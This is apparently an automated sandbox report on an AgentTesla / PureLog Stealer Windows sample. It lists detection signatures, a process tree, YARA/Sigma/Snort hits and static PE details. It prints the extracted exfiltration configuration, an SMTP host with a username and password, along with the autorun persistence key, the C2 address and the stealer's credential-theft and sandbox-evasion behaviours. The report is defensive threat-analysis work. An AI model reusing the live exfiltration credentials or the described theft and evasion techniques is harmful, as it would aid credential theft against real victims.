Edit tour

Windows Analysis Report
Copy#51007602.exe

Overview

General Information

Sample name:	Copy#51007602.exe
Analysis ID:	1448039
MD5:	d503277ebd054e3a3ccfe906cac2e6d8
SHA1:	f209eb92df97e2569897f5da1097ae0d5b8d4bdb
SHA256:	7c9fb1f9b7c24c9e0608af47b246b224e295ebc18aecfee6a104a7046d9db19a
Tags:	AgentTeslaexe
Infos:

Detection

AgentTesla, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected PureLog Stealer

.NET source code contains potential unpacker

AI detected suspicious sample

Drops large PE files

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Yara detected Costura Assembly Loader

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Outbound SMTP Connections

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Copy#51007602.exe (PID: 6008 cmdline: "C:\Users\user\Desktop\Copy#51007602.exe" MD5: D503277EBD054E3A3CCFE906CAC2E6D8)

Copy#51007602.exe (PID: 4084 cmdline: "C:\Users\user\Desktop\Copy#51007602.exe" MD5: D503277EBD054E3A3CCFE906CAC2E6D8)

itdtn.exe (PID: 2604 cmdline: "C:\Users\user\AppData\Roaming\itdtn.exe" MD5: C62B7992DB97A6341DACBE7E3D936C74)

itdtn.exe (PID: 3936 cmdline: "C:\Users\user\AppData\Roaming\itdtn.exe" MD5: C62B7992DB97A6341DACBE7E3D936C74)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "jahnindustry.shop", "Username": "sendanell@jahnindustry.shop", "Password": "WmfkJ55yPdtj"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2235868873.0000000004CA6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2114770908.00000000045DE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2235868873.0000000004DBE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.3236815937.0000000003347000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2235868873.0000000004D1E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000002.00000002.3235618888.00000000032E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.3235618888.00000000032E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2125383195.0000000005400000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2229535791.0000000003633000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2229535791.0000000003633000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.3236815937.0000000003321000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.3236815937.0000000003321000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2235868873.0000000005056000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2235868873.0000000005056000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.3231826482.000000000042F000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.3231826482.000000000042F000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2235868873.0000000004CCE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000002.00000002.3235618888.0000000003307000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2123443818.00000000050D0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2114770908.0000000004391000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: Copy#51007602.exe PID: 6008	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Copy#51007602.exe PID: 6008	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Copy#51007602.exe PID: 6008	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Copy#51007602.exe PID: 6008	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Copy#51007602.exe PID: 4084	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Copy#51007602.exe PID: 4084	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: itdtn.exe PID: 2604	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: itdtn.exe PID: 2604	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: itdtn.exe PID: 2604	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: itdtn.exe PID: 2604	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: itdtn.exe PID: 3936	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: itdtn.exe PID: 3936	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 34 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.itdtn.exe.4cce790.10.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.itdtn.exe.4ca6770.15.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Copy#51007602.exe.45de7d0.10.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.itdtn.exe.4d1e7b0.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.itdtn.exe.4dbe7d0.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Copy#51007602.exe.453e7b0.12.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Copy#51007602.exe.44ee790.13.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.itdtn.exe.4ca6770.15.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Copy#51007602.exe.2c267d0.2.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.itdtn.exe.4cce790.10.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.itdtn.exe.506b9a8.11.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.itdtn.exe.506b9a8.11.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.itdtn.exe.506b9a8.11.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316df:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31751:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317db:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3186d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318d7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31949:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319df:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a6f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.itdtn.exe.3427aac.2.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.itdtn.exe.3427aac.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.itdtn.exe.506b9a8.11.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.itdtn.exe.506b9a8.11.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Copy#51007602.exe.2c267d0.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.itdtn.exe.506b9a8.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334df:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6dcff:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33551:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6dd71:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335db:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ddfb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3366d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6de8d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336d7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6def7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33749:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6df69:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337df:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6dfff:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3386f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6e08f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Copy#51007602.exe.44c6770.7.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Copy#51007602.exe.5400000.16.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Copy#51007602.exe.44ee790.13.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Copy#51007602.exe.44c6770.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Copy#51007602.exe.50d0000.15.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Copy#51007602.exe.3bbe9a0.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Copy#51007602.exe.50d0000.15.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Copy#51007602.exe.3de7dd0.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Copy#51007602.exe.40111f0.11.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Copy#51007602.exe.40111f0.11.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Copy#51007602.exe.40111f0.11.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Copy#51007602.exe.40111f0.11.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Copy#51007602.exe.40111f0.11.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Copy#51007602.exe.40111f0.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x2757f7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x2b0017:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x275869:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x2b0089:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x2758f3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x2b0113:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x275985:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x2b01a5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x2759ef:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x2b020f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x275a61:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x2b0281:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x275af7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x2b0317:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x275b87:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x2b03a7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Copy#51007602.exe.3de7dd0.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Copy#51007602.exe.3de7dd0.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Copy#51007602.exe.3de7dd0.6.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Copy#51007602.exe.3de7dd0.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Copy#51007602.exe.3de7dd0.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x49ec17:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4d9437:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x49ec89:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x4d94a9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x49ed13:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4d9533:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x49eda5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4d95c5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x49ee0f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4d962f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x49ee81:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4d96a1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x49ef17:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4d9737:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x49efa7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x4d97c7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Copy#51007602.exe.3bbe9a0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Copy#51007602.exe.3bbe9a0.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Copy#51007602.exe.3bbe9a0.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Copy#51007602.exe.3bbe9a0.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Copy#51007602.exe.3bbe9a0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x6c8047:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x702867:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6c80b9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x7028d9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6c8143:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x702963:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6c81d5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x7029f5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6c823f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x702a5f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6c82b1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x702ad1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6c8347:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x702b67:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6c83d7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x702bf7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 38 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\itdtn.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Copy#51007602.exe, ProcessId: 6008, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\itdtn

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 66.29.151.236, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\Copy#51007602.exe, Initiated: true, ProcessId: 4084, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Snort Signatures

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 66.29.151.236

Timestamp:	05/27/24-15:15:09.558181
SID:	2851779
Source Port:	49705
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.5 - Destination IP: 66.29.151.236

Timestamp:	05/27/24-15:15:21.815023
SID:	2855542
Source Port:	49715
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Exfil via SMTP - Source IP: 192.168.2.5 - Destination IP: 66.29.151.236

Timestamp:	05/27/24-15:15:21.815023
SID:	2855245
Source Port:	49715
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.5 - Destination IP: 66.29.151.236

Timestamp:	05/27/24-15:15:21.815023
SID:	2840032
Source Port:	49715
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 66.29.151.236

Timestamp:	05/27/24-15:15:21.815023
SID:	2851779
Source Port:	49715
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.5 - Destination IP: 66.29.151.236

Timestamp:	05/27/24-15:15:09.558181
SID:	2855542
Source Port:	49705
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Exfil via SMTP - Source IP: 192.168.2.5 - Destination IP: 66.29.151.236

Timestamp:	05/27/24-15:15:09.558181
SID:	2855245
Source Port:	49705
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.5 - Destination IP: 66.29.151.236

Timestamp:	05/27/24-15:15:09.558181
SID:	2840032
Source Port:	49705
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.5 - Destination IP: 66.29.151.236

Timestamp:	05/27/24-15:15:21.814973
SID:	2030171
Source Port:	49715
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.5 - Destination IP: 66.29.151.236

Timestamp:	05/27/24-15:15:09.558132
SID:	2030171
Source Port:	49705
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\itdtn.exe

Avira: detection malicious, Label: HEUR/AGEN.1332199

Found malware configuration

Source: 4.2.itdtn.exe.506b9a8.11.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "jahnindustry.shop", "Username": "sendanell@jahnindustry.shop", "Password": "WmfkJ55yPdtj"}

Multi AV Scanner detection for submitted file

Source: Copy#51007602.exe	Virustotal: Detection: 28%			Perma Link
Source: Copy#51007602.exe	ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.5% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\itdtn.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Copy#51007602.exe

Joe Sandbox ML: detected

Source: Copy#51007602.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49714 version: TLS 1.2

Source: Copy#51007602.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Copy#51007602.exe, 00000000.00000002.2111351064.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2126157017.0000000005510000.00000004.08000000.00040000.00000000.sdmp, itdtn.exe, 00000004.00000002.2235868873.0000000004F89000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2235868873.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.000000000357C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Copy#51007602.exe, 00000000.00000002.2111351064.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2126157017.0000000005510000.00000004.08000000.00040000.00000000.sdmp, itdtn.exe, 00000004.00000002.2235868873.0000000004F89000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2235868873.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.000000000357C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_0548D9B8
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_05508112
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_05508118
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_055080D2
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	4_2_05D2D9B8
